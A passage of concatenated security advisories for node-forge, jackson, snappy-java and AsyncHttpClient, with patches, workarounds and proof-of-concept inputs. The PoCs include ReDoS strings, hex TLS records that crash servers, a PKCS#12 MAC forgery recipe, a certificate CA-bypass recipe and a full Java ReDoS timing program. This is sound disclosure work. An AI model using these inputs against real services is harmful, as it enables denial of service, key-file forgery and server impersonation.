RFC 7468 labels can't contain `--`. Header parsing now trims lines with a loop and only starts a header match at the beginning of a run of printable characters, which gives the same result. #### Patches Fixed in node-forge 1.4.1. PEM messages and encapsulated headers are now parsed in linear time. #### Workarounds Rejecting untrusted PEM input larger than a few kilobytes before passing it to node-forge limits the delay but doesn't remove it: on 1.4.0, about 7 KB of crafted input blocked for 0.4 s, and 29 KB for 24 s. #### Credits Reported by Ahmed Mokhtari (@AhmedMokhtari), @mwlik and @imenyoo2, and independently by @offset, @bibu123456 (coordinated by @Kayiz-PT), and @Mucahic. ### Proof of concept var forge = require('node-forge'); var pem = ' -----BEGIN I-----G-----END B'.repeat(1000) + '\x00'; // 29 KB try { forge.pki.certificateFromPem(pem); } catch(e) {} On 1.4.0 (Node.js 24) this call blocks for about 24 seconds before throwing "Invalid PEM formatted message."; 14 KB takes about 3 seconds. A BEGIN line followed by 32 KB of newlines and no END line takes about 1.5 seconds, and the time grows quadratically from there. On 1.4.1 each of these inputs is rejected in a few milliseconds, and 1 MB inputs of any of these shapes take under 100 ms. The PoC is in tests/pocs/ghsa-7wch-p9px-956x.js. Regression tests are in tests/unit/pem.js ("GHSA-7wch-p9px-956x ReDoS checks"). ### Impact Any application that passes untrusted PEM text to node-forge is affected: for example, services that accept uploaded certificates, keys or certificate signing requests, or that parse certificates from configuration, SAML metadata or other user-supplied documents. A remote, unauthenticated attacker can send a small crafted input that blocks the Node.js event loop for seconds to minutes per request, so the process stops serving other requests. Repeated requests keep it unavailable. There is no confidentiality or integrity impact.
### Summary A connection created with `forge.tls.createConnection()` throws an uncaught `TypeError` from `process()` when it receives a record of another content type while waiting for the rest of a handshake message that was split across records. A peer can trigger this with 18 bytes before the handshake, without authentication, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `_readRecord()` handles a record that arrives while a handshake message split across records is incomplete. If the record has any other content type (change_cipher_spec, alert, application_data or heartbeat), forge correctly reports "Invalid fragmented record." through `c.error()` with a fatal `unexpected_message` alert. That fatal error closes and resets the connection, which sets `c.record` to `null`. `_readRecord()` then continues with `c.record.ready = true` and throws `TypeError: Cannot set properties of null (setting 'ready')` out of `process()`. The code is unchanged since the first release. RFC 5246 section 6.2.1 allows a handshake message to be fragmented across records, and RFC 8446 section 5.1 forbids interleaving handshake messages with other record types. Failing the connection with `unexpected_message` is the intended behavior; the bug is the crash after the error. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. The fix returns from `_readRecord()` right after the fatal error. The connection is failed, the alert is sent and the `error` callback is called as before, and `process()` no longer throws. ### Patches Fixed in node-forge 1.4.1. The connection still fails with a fatal `unexpected_message` alert and the `error` callback, but `process()` no longer throws. ### Workarounds Wrap every call to `connection.process()` in `try`/`catch`. The connection has already been failed and closed when the exception is thrown, so the exception can be ignored or the socket destroyed. ### Proof of concept Input (server mode), two records, 18 bytes: 16 03 01 00 06 01 00 00 10 03 01 handshake record: ClientHello header announcing 16 bytes, 2 present 15 03 01 00 02 02 28 alert record // c = forge.tls.createConnection({server: true, ...}) c.process(forge.util.hexToBytes('1603010006010000100301' + '15030100020228')); On 1.4.0 the `error` callback receives "Invalid fragmented record.", then `process()` throws `TypeError: Cannot set properties of null (setting 'ready')`. A change_cipher_spec, application_data or heartbeat record in place of the alert has the same effect, and a client connection behaves the same with a fragment of a ServerHello. In a Node.js server that calls `c.process(data.toString('binary'))` from `socket.on('data', ...)`, a client sending these 18 bytes terminates the server process. On 1.4.1 the connection fails with a fatal `unexpected_message` alert and `process()` returns normally. Regression tests in tests/unit/tls.js, "fragmented handshake messages": each of the four other record types after a handshake fragment, in server and client mode, plus same-type continuation records that are still accepted. ### Impact Applications that use node-forge's TLS implementation: connections from `forge.tls.createConnection()`, including those created by `forge.tls.wrapSocket()` and the `forge.http` / `forge.xhr` TLS connections. Any peer that can connect to a forge TLS server, or any server a forge TLS client connects to, can send 18 bytes before the handshake, without authentication. In Node.js applications using the documented usage, the uncaught exception terminates the process, which drops every connection it serves, and the attacker can repeat it on every restart. There is no confidentiality or integrity impact.
### Summary When an `@JsonIdentityInfo` collection or map first creates N unresolved object-ID references and later resolves the same IDs in reverse order, jackson-databind scans the remaining pending-reference accumulator for each resolution. A shallow JSON document whose size grows linearly can therefore cause quadratic CPU work during deserialization. ### Details The affected path is forward-reference completion in `CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference()` and the corresponding map implementation. The implementation performs a linear search of the pending accumulator for every resolved object ID. The behavior is runtime-confirmed in jackson-databind 2.5.0, 2.22.1, and 3.2.1. Current 2.22 and 3.2 source branches retained the same design when rechecked. A 2.4.0 control fails closed before successful reverse-order completion, so 2.5.0 is the conservative runtime-confirmed affected floor. The patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3. The vulnerable application must deserialize attacker-influenced JSON into an identity-enabled collection or map. The issue does not require deep nesting or syntactically unusual JSON. Suggested correction: replace repeated linear lookup/removal with a keyed pending-reference structure or another design that provides linear or amortized-linear completion. A regression should preserve input order, duplicate-ID behavior, and unresolved-ID errors while bounding reverse-order resolution work. ### PoC The proof constructs a shallow collection containing N unresolved `@JsonIdentityInfo` references followed by definitions of those same IDs in reverse order. Its ID class counts `equals()` calls, giving a deterministic work measure rather than a timing-dependent result. With N=2,000, affected versions perform exactly 2,003,000 ID comparisons. An equally sized control in which every reference is already resolved performs zero comparisons in the pending-reference lookup path. The run is bounded to a 512 MiB JVM. The result demonstrates quadratic growth: approximately `N * (N + 1) / 2` comparisons, plus fixed setup comparisons. ### Impact An unauthenticated source that can submit JSON to an application using the affected identity-enabled collection or map shape can consume quadratic CPU and exhaust a request-time or worker-capacity budget, causing denial of service. The application model/configuration prerequisite is material. No confidentiality, integrity, code-execution, or parser-depth impact is claimed. Requested credit: Daniel Birtwhistle
### Impact `Snappy.uncompressCharArray`, `uncompressShortArray`, `uncompressIntArray`, `uncompressLongArray`, `uncompressFloatArray` and `uncompressDoubleArray` sized the result array by dividing the declared uncompressed byte length by the element size, but native code wrote the full byte length. If the declared length is not a multiple of the element size, up to 7 bytes are written past the end of the Java array, corrupting the heap. ### Patches Fixed in 1.1.10.9 ([#739](https://github.com/xerial/snappy-java/pull/739)). These methods now reject uncompressed lengths that are not a multiple of the element size with `SnappyIOException`. ### Workarounds Check that `Snappy.uncompressedLength(input)` is a multiple of the element size before calling these methods.
### Summary Connections created with `forge.tls.createConnection()` processed received TLS records recursively, one stack level per record. A peer can send one chunk of thousands of small records, such as heartbeat records, which are accepted before the handshake, and `process()` throws `RangeError: Maximum call stack size exceeded`, which terminates Node.js processes that use the documented socket wiring. Fixed in node-forge 1.4.1. ### Details In `lib/tls.js`, `c.process()` reads one record and passes it to `_update()`, which calls the handler for the record type from `ctTable`. Every handler (`tls.handleHeartbeat`, `tls.handleApplicationData`, `tls.handleHandshake` for fragmented messages, `tls.handleHelloRequest` and the other handshake handlers) ends by calling `c.process()` again to continue with the next buffered record, or the next message in the same record. Each record therefore adds `process` → `_update` → handler to the call stack. In Node.js 24, about 2,300 eight-byte records (under 20 KB) in one chunk are enough for `process()` to throw `RangeError: Maximum call stack size exceeded`. `ctTable` maps heartbeat records to `tls.handleHeartbeat` in every client and server state, so heartbeat records are processed before the handshake without any extension negotiation. The attack needs no authentication and no valid handshake messages. Both server connections (attacked by a client) and client connections (attacked by the server they connect to) are affected. Other record types recurse the same way: a handshake message fragmented over many records, many HelloRequest messages in one record, or many application data records after the handshake. node-forge reports TLS protocol errors through the `error` callback, so applications do not normally wrap `process()` in `try`/`catch`. When `process()` is called from a Node.js socket `data` handler, as in the documented usage, the exception is uncaught and terminates the process. If the exception is caught, the connection is left partially processed and should be discarded. No specification is violated; this is an implementation flaw (uncontrolled recursion). The fix makes `c.process()` iterative. The record-reading code moves into `_processRecord()`, and `c.process()` runs it in a loop. A handler's call to `c.process()` without new data, made while records are being processed, now only flags that the loop should continue. Calls with new data are processed right away as before, so callback order and return values are unchanged. ### Patches Fixed in node-forge 1.4.1. Records are now processed in a loop, so the stack depth no longer depends on the number of records. ### Workarounds Wrap every call to `connection.process()` in `try`/`catch`, and on an exception close the connection (`connection.close()`) and destroy the underlying socket. This prevents the process crash but not the loss of the attacked connection. ### Credits Reported jointly by Ziyue Wang, Chenchen, Strick Sheng, Liyi Zhou, and Maurice Ng. ### Proof of concept Input: one chunk of N identical heartbeat records, each 8 bytes: 18 03 01 00 03 01 00 00 (content type 24 = heartbeat, TLS 1.0, length 3, heartbeat_request with a 0-byte payload) // c = forge.tls.createConnection({server: true, ...}) var rec = forge.util.hexToBytes('1803010003010000'); c.process(new Array(5001).join(rec)); // 5,000 records, 40,000 bytes On 1.4.0 (Node.js 24), `process()` throws `RangeError: Maximum call stack size exceeded` after about 2,300 records, before any handshake. The same happens for a client connection. In a Node.js server that calls `c.process(data.toString('binary'))` from `socket.on('data', ...)`, a client sending these 40,000 bytes terminates the server process. On 1.4.1 all records are processed and the server keeps running. Regression tests in tests/unit/tls.js, "record processing": 50,000 heartbeat records in one call in server and client mode, a handshake message fragmented over 50,000 records, many HelloRequest messages per record, and checks that byte-by-byte input and exceptions from callbacks behave as before. ### Impact Applications that use node-forge's TLS implementation: connections from `forge.tls.createConnection()`, including those created by `forge.tls.wrapSocket()` and the `forge.http` / `forge.xhr` TLS connections, which call `process()` on received data. Any peer that can connect to a forge TLS server, or any server a forge TLS client connects to, can send a small chunk of records (under 20 KB) without authentication. In Node.js applications using the documented usage, the uncaught exception terminates the process, which drops every connection it serves; repeated chunks keep it down. In browsers the impact is limited to the attacked connection. There is no confidentiality or integrity impact.
### Summary forge.pkcs12.pkcs12FromAsn1() accepts a PKCS#12 MAC iteration count of zero (or less) from the input, and the PKCS#12 key derivation function then returns a constant key that does not depend on the password or salt. An attacker who does not know the password can modify a PKCS#12/PFX file and compute a MAC that verifies with any password; PKCS#12 PBE-encrypted private keys prepared the same way decrypt with any password. Fixed in node-forge 1.4.1. ### Details `p12.pkcs12FromAsn1()` in `lib/pkcs12.js` reads the MAC iteration count (`MacData.iterations`) from the input and passes it to the PKCS#12 key derivation function `pki.pbe.generatePkcs12Key()` in `lib/pbe.js` (also exposed as `forge.pkcs12.generateKey()`) without checking that it is at least 1. The key derivation function (RFC 7292 Appendix B.2) runs its hash loop `iter` times. With an iteration count of 0 (or an empty or negative INTEGER), no hashing is done and the function returns the PKCS#12 diversifier ID byte repeated, for example `0x03` repeated 20 times for an HMAC-SHA1 MAC key. The result does not depend on the password or the salt, so anyone can compute a valid MAC over arbitrary PFX contents. The same key derivation function is used by `pki.pbe.getCipherForPKCS12PBE()` for the PKCS#12 password-based encryption schemes `pbeWithSHAAnd3-KeyTripleDES-CBC` and `pbewithSHAAnd40BitRC2-CBC`, whose `pkcs-12PbeParams` iteration count is also read from the input. With an iteration count of 0 or less, the encryption key and IV are constants (`0x01` and `0x02` repeated). This is reached from shrouded key bags and encrypted SafeContents in `pkcs12FromAsn1()`, and from `forge.pki.decryptPrivateKeyInfo()` (for example for `ENCRYPTED PRIVATE KEY` PEM input). RFC 7292 defines `MacData` with `iterations INTEGER DEFAULT 1`; an iteration count only makes sense as 1 or more (RFC 8018 uses `INTEGER (1..MAX)` for the same concept). PBES2 (PBKDF2) encrypted content is not affected. The fix rejects iteration counts less than 1 when verifying a PKCS#12 MAC in `pkcs12FromAsn1()` ("PKCS#12 MAC iteration count must be >= 1.") and at the entry of `pki.pbe.generatePkcs12Key()` ("PKCS#12 key derivation iteration count must be >= 1."), which covers the MAC, both PKCS#12 PBE schemes and direct `forge.pkcs12.generateKey()` callers. ### Patches Fixed in node-forge 1.4.1. Iteration counts less than 1 are now rejected when verifying a PKCS#12 MAC and in the PKCS#12 key derivation function. ### Workarounds Before calling `forge.pkcs12.pkcs12FromAsn1()`, reject inputs whose `MacData.iterations` is present and less than 1. For encrypted private keys using the PKCS#12 PBE schemes, there is no simple workaround other than checking the `pkcs-12PbeParams` iteration count before decryption, or upgrading. ### Credits Reported by Thai, Calif.io in collaboration with Claude and Anthropic Research. ### Proof of concept Take any PKCS#12/PFX file, replace its AuthenticatedSafe with attacker-chosen content (for example the attacker's certificate and an unencrypted private key), set `MacData.iterations` to 0 (DER `02 01 00`), and compute the HMAC-SHA1 over the new content with the key `0x03` repeated 20 times. On node-forge <= 1.4.0, `forge.pkcs12.pkcs12FromAsn1(asn1, password)` reports successful MAC verification for whatever password the application supplies and returns the attacker's certificate and key. An empty or negative iteration count behaves the same way. Likewise, a shrouded key bag or `ENCRYPTED PRIVATE KEY` using `pbeWithSHAAnd3-KeyTripleDES-CBC` with iteration count 0 decrypts with any password. The constant key is visible directly: ```js var salt = new forge.util.ByteBuffer('anysalt'); forge.pkcs12.generateKey('any password', salt, 3, 0, 20).toHex(); // <= 1.4.0: '0303030303030303030303030303030303030303' // 1.4.1: throws "PKCS#12 key derivation iteration count must be >= 1." ``` The fix adds regression tests in `tests/unit/pkcs12.js` and the reporter's PoC in `tests/pocs/`. ### Impact Applications that import PKCS#12/PFX files or PKCS#8 encrypted private keys from untrusted sources with `forge.pkcs12.pkcs12FromAsn1()` or `forge.pki.decryptPrivateKeyInfo()`, and rely on the password-based MAC or on successful decryption to establish that the file was produced by someone who knows the password. The default API and call pattern are affected; no password, oracle or user interaction is needed, only one offline HMAC. An attacker can supply a PKCS#12 file with certificates and private keys of their choice (for example, replaced certificates or an unencrypted private key) that node-forge reports as verified under the application's password. The attacker does not learn the password or the original private key. PBES2 (PBKDF2) encrypted content is not affected.
## Status **FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java` (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point `looksLikeValidNumber()` lines ~646-656) ## Technical Analysis ```java private final static Pattern PATTERN_FLOAT = Pattern.compile( "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?"); private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile( "[+-]?[0-9]+[\\.]"); public static boolean looksLikeValidNumber(final String s) { // ... short-circuits only for null/empty/length==1 ... return PATTERN_FLOAT.matcher(s).matches() || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches(); } ``` `PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class: `[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's backtracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the `[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking shape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex (`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class. Critically, the length gate that applies to this specific path is `StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength` (default **1,000**) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java java -cp "poc:$CP" PoC8_NumberInputReDoS ``` ## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`) ```java import com.fasterxml.jackson.core.io.NumberInput; public class PoC8_NumberInputReDoS { public static void main(String[] args) { int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000}; long[] timesMs = new long[sizes.length]; System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n"); for (int i = 0; i < sizes.length; i++) { int n = sizes[i]; String s = repeat('1', n) + "x"; if (i == 0) { NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up } long t0 = System.nanoTime(); boolean result = NumberInput.looksLikeValidNumber(s); long elapsedMs = (System.nanoTime() - t0) / 1_000_000; timesMs[i] = elapsedMs; System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs); } System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):"); boolean quadraticSignatureObserved = false; for (int i = 1; i < sizes.length; i++) { double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1]; System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n", sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio); if (ratio >= 3.0) quadraticSignatureObserved = true; } System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1] + " ms for a single call from ONE HTTP-body-sized string."); System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) " + "governs this path, not maxNumberLength (1,000)."); if (quadraticSignatureObserved) { System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent " + "with quadratic backtracking in PATTERN_FLOAT on non-matching input."); } } static String repeat(char c, int n) { char[] arr = new char[n]; java.util.Arrays.fill(arr, c); return new String(arr); } } ``` ## Captured Evidence (actual run output) ``` Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n: n=5000 looksLikeValidNumber=false elapsed= 74 ms n=10000 looksLikeValidNumber=false elapsed= 306 ms n=20000 looksLikeValidNumber=false elapsed= 1157 ms n=40000 looksLikeValidNumber=false elapsed= 4655 ms n=80000 looksLikeValidNumber=false elapsed= 18592 ms n=160000 looksLikeValidNumber=false elapsed= 74393 ms Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic): n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x) n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x) n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x) n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x) n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x) Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string. => REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic backtracking in PATTERN_FLOAT on non-matching input. ``` This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call. ## Impact Any application that coerces a String-typed JSON field to a number (default `jackson-databind` behavior) is exposed: an attacker who can submit a large numeric-looking string (up to `maxStringLength`'s default of 20,000,000 characters — far larger than needed given the measured curve) can pin a request-handling thread for an extended period with a single request. Because the cost scales quadratically, a handful of concurrent moderately-sized requests (tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread pool, denying service to all users. ## Remediation 1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g. `[+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the trailing-dot case and removes the need for a second full-string scan. 2. Better: replace the regex entirely with a single-pass hand-written character scan — the same file already contains exactly this pattern for `parseInt`, so the library has both the precedent and the code style available. 3. Apply an independent length limit (`maxNumberLength`, not the much larger `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of- magnitude gap between the two constraints for this specific code path. 4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its default, and set wall-clock timeouts on parse/coercion operations.
### Impact Several decompression paths in snappy-java allocate an output buffer sized by the uncompressed length declared in the first bytes of the compressed data, before decompressing or validating it. A few bytes of crafted input can therefore force an allocation of up to 2 GB, causing `OutOfMemoryError` (denial of service), or a `NegativeArraySizeException` for declared lengths of 2^31 or more. Affected entry points include `Snappy.uncompress(byte[])`, `Snappy.uncompressString`, the `Snappy.uncompress*Array` methods, `SnappyInputStream`, and `SnappyFramedInputStream`. The `maxChunkSize` limit added for CVE-2023-43642 bounds only the compressed chunk length, so it does not prevent this. ### Patches Fixed in 1.1.10.9 (#739). `Snappy.uncompressedLength()` now rejects negative declared lengths, and lengths larger than any valid Snappy stream of the given size can produce. The densest Snappy element expands 3 bytes to 64, so the limit is 64/3 of the compressed size. Allocations are therefore proportional to the input actually received. ### Workarounds Before decompressing untrusted data, check that `Snappy.uncompressedLength(input)` is within an application-specific limit.
### Summary With `@JsonTypeInfo(use = Id.NAME, defaultImpl = ...)`, every distinct unknown raw type ID selects the same fallback deserializer but is retained as a separate key in `TypeDeserializerBase._deserializers`. An attacker who can repeatedly supply new unknown type IDs can grow this process-lifetime cache without a configured bound. ### Details The affected path is `TypeDeserializerBase._findDeserializer()`. After an unknown name-based type ID resolves to the configured fallback/default implementation, jackson-databind caches the result under the attacker-provided raw `typeId`. Although all such IDs select the same fallback deserializer, each new string remains a distinct cache key. The behavior is runtime-confirmed in jackson-databind 2.22.1 and 3.2.1. Current 2.22 and 3.2 source branches retained the unbounded `_deserializers` map and per-raw-ID cache write when rechecked. The earlier affected floor has not been established, patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3. The vulnerable application must enable name-based polymorphism with a `defaultImpl` or equivalent fallback, accept attacker-influenced type IDs, and reuse a long-lived mapper/type deserializer across requests. Suggested correction: avoid caching each unknown raw ID when every such ID resolves to the same fallback, use a fallback sentinel, or use an explicitly bounded concurrency-safe cache. A regression should contrast many distinct unknown IDs with repetitions of one unknown ID across requests. ### PoC Configure a polymorphic base type with `@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, defaultImpl = Fallback.class)` and deserialize inputs containing unknown type names through the same mapper. Inspect `TypeDeserializerBase._deserializers` after the run. On affected 2.x and 3.x versions, 10,000 distinct unknown raw type IDs produce 10,000 retained cache entries even though every input selects the same fallback deserializer. A matched control that repeats one unknown ID 10,000 times produces one retained entry. This isolates attacker-controlled key cardinality from ordinary request count. ### Impact Where the stated polymorphic fallback configuration is exposed to attacker-influenced type IDs, distinct inputs cause incremental process-lifetime memory retention and eventual availability pressure or denial of service. This is not claimed as a single-request allocation spike, and no fixed bytes-per-ID or time-to-out-of-memory value is asserted. No confidentiality, integrity, or code-execution impact is claimed. Requested credit: Daniel Birtwhistle
### Impact With WebSocket compression enabled, the client inflates `permessage-deflate` messages with no limit on the decompressed size. It installed Netty's shared `WebSocketClientCompressionHandler.INSTANCE`, whose inflater is unbounded, and `webSocketMaxFrameSize` and `webSocketMaxBufferSize` only bound the compressed bytes, because the frame aggregator sits in front of the inflater. A malicious or compromised WebSocket server, or anyone on the path of a `ws://` connection, can therefore send a message of about 2 MiB that inflates to about 2 GiB, the most a Netty buffer can hold. The client then copies the inflated message again to hand it to the listener. That exhausts the heap of a typically sized JVM. Netty catches the resulting `OutOfMemoryError` and closes that connection, but while the buffer is live any other allocation in the process can fail too, and a server that keeps sending such messages, on one connection or several, keeps the client at heap exhaustion. ### Who is Impacted Only applications that enable WebSocket compression with `setEnablewebSocketCompression(true)`, which is off by default, and connect to a WebSocket server that is untrusted, compromised, or reached over cleartext `ws://`. ### Affected versions * 3.x: up to and including 3.0.13 * 2.x: from 2.2.0, when WebSocket compression was added, up to and including 2.16.1 ### Patches Fixed in 3.0.14. A new setting, `webSocketMaxDecompressedFrameSize` (`setWebSocketMaxDecompressedFrameSize`, or the `org.asynchttpclient.webSocketMaxDecompressedFrameSize` property), bounds how far a message may inflate, and a message that would go past it fails the connection. It defaults to 128000000 bytes, the same as `webSocketMaxBufferSize`, so a message is bounded alike whether or not it was compressed; a compressed message that inflates past that, which was accepted before, now fails the connection. With `aggregateWebSocketFrameFragments` turned off, the bound applies to each frame instead, and fragments are delivered one at a time. Set it lower if you enable compression and do not expect large messages. `0` disables the limit. The 2.x line is end of life and will not receive a fix. Upgrade to 3.0.14. ### Workarounds Leave WebSocket compression disabled, which is the default. ### Details After the handshake the inbound pipeline is `ws-decoder`, `ws-aggregator`, `PerMessageDeflateDecoder`, `ahc-ws`: the aggregator, which enforces `webSocketMaxBufferSize`, sees each message before it is inflated. `WebSocketClientCompressionHandler.INSTANCE` is built with `maxAllocation = 0`, which Netty treats as unbounded, and Netty has deprecated it in favour of a constructor that takes a limit. RFC 6455 Section 10.4 asks an implementation to limit the size of a message after reassembly, and under RFC 7692 Section 6.2 the message delivered to the application is the decompressed payload. This is a different path from the HTTP response decompression fixed under CVE-2026-85721, which never reached the WebSocket pipeline. ### Attribution AI-assisted tools were used to support discovery and analysis.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 3.0.14, connection-pool partitioning still omits identity-defining fields for Kerberos, SPNEGO, NTLM, and authenticated proxy connections. Logins without a configured principal, proxy realms, identities sharing a user name, and SOCKS or CONNECT proxy logins can reuse a socket authenticated as a different identity. A later request is then executed under the first identity and can expose that identity's data or authority to another caller. In the affected execution path, SpnegoEngine, NTLM, Kerberos, SPNEGO, SOCKS, and CONNECT control or expose the vulnerable behavior. This issue is fixed in version 3.0.14.
Forge (also called node-forge) is a native implementation of Transport Layer Security in JavaScript. Prior to 1.4.1, node-forge parsed deprecated extension OIDs 2.5.29.10 and 2.5.29.13 as basicConstraints, and pki.verifyCertificateChain() used the first extension with that name. Exploitation requires a CA trusted by the application to issue a certificate carrying an attacker-supplied deprecated-OID extension, commonly because the CA copies extensions from a certificate signing request. By placing a permissive deprecated extension before the genuine 2.5.29.19 basicConstraints extension, the certificate holder could have the certificate accepted as a CA and issue certificates for arbitrary names, enabling server or client impersonation. If the issuing CA adds a keyUsage extension without keyCertSign, node-forge rejects the chain. This issue is fixed in version 1.4.1.
### Summary node-forge parses certificate extensions with the deprecated OIDs `2.5.29.10` and `2.5.29.13` as `basicConstraints`, and `forge.pki.verifyCertificateChain()` used the first extension with that name. A certificate with a forged deprecated-OID extension (`cA` TRUE) before its genuine `basicConstraints` extension (`cA` FALSE) is accepted as a CA certificate, and the same technique can hide a `pathLenConstraint`. Fixed in node-forge 1.4.1. ### Details `lib/oids.js` maps the deprecated certificate extension OIDs `2.5.29.10` and `2.5.29.13` to the name `basicConstraints`, the same name as the RFC 5280 extension `2.5.29.19`. `certificateExtensionFromAsn1()` in `lib/x509.js` decodes extensions by name, so these extensions are decoded into the same `cA` and `pathLenConstraint` fields. `cert.getExtension()` returns the first extension with a matching name, and `pki.verifyCertificateChain()` looked up `basicConstraints` by name. As a result, a certificate that contains a `2.5.29.10` (or `2.5.29.13`) extension with `cA` TRUE before its genuine `basicConstraints` extension with `cA` FALSE is accepted as a CA certificate. The same technique can hide a CA certificate's `pathLenConstraint`. A deprecated-OID extension on its own also satisfies the check added for GHSA-2328-f5f3-gj25 (CVE-2026-33896) that `basicConstraints` is present. RFC 5280 section 4.2.1.9 defines basicConstraints only as `id-ce 19` (`2.5.29.19`), and the path validation checks in section 6.1.4 apply to that extension. The fix makes chain verification look up basicConstraints by OID (`cert.getExtension({id: '2.5.29.19'})`). This covers both the `cA` and the `pathLenConstraint` checks. Certificate parsing, the OID table and `cert.getExtension('basicConstraints')` are unchanged. #### Patches Fixed in node-forge 1.4.1. Chain verification now uses only the `basicConstraints` extension with OID `2.5.29.19`. #### Workarounds None in node-forge itself. Applications that pass an `options.verify` callback to `pki.verifyCertificateChain()` (or `verify` to `forge.tls.createConnection()`) can reject chains in which a non-leaf certificate has no `2.5.29.19` extension with `cA` TRUE, for example with `cert.getExtension({id: '2.5.29.19'})`. CA operators can avoid copying unrecognized extensions from certificate requests. #### Credits WorkOS Security Team· [security@workos.com](mailto:security@workos.com) (@nickcollisson-workos) ### Proof of concept Have a trusted CA issue an end-entity certificate whose extensions are, in this order: a `2.5.29.10` (or `2.5.29.13`) extension with the value of a basicConstraints `cA` TRUE (DER `30 03 01 01 FF`), then the CA's own `2.5.29.19` basicConstraints with `cA` FALSE, and no `keyUsage`. For example, `openssl x509 -req -copy_extensions copy` with an extensions file that sets `basicConstraints = CA:FALSE` copies the extension from the CSR and produces this order. Use that certificate's key to sign a leaf certificate for any name. On node-forge <= 1.4.0, `forge.pki.verifyCertificateChain(caStore, [leaf, eeCert])` accepts the chain, and `eeCert.getExtension('basicConstraints')` returns the `2.5.29.10` extension with `cA` true. The same certificate without the deprecated-OID extension is rejected ("Certificate basicConstraints indicates the certificate is not a CA."). A certificate with only the deprecated-OID extension is also accepted. The fix adds regression tests in `tests/unit/x509.js` and the reporter's PoC as `tests/pocs/ghsa-5x38-2vff-x55p.js`. ### Impact Applications that verify certificate chains with `forge.pki.verifyCertificateChain()`, including TLS peer certificate verification in `forge.tls`, are affected. Exploitation requires a CA trusted by the application to issue a certificate that contains the attacker-supplied deprecated-OID extension, typically a CA that copies extensions from certificate signing requests. For example, `openssl x509 -req -copy_extensions copy` (or `copyall`) with an extensions file that sets `basicConstraints = CA:FALSE` and no `keyUsage` produces such a certificate. If the issuing CA adds a `keyUsage` extension without `keyCertSign`, node-forge rejects the chain. The holder of such a certificate can then issue certificates for any name that `pki.verifyCertificateChain()` accepts. In forge's own TLS stack this allows impersonating servers (or clients, where client certificates are verified) and intercepting traffic.
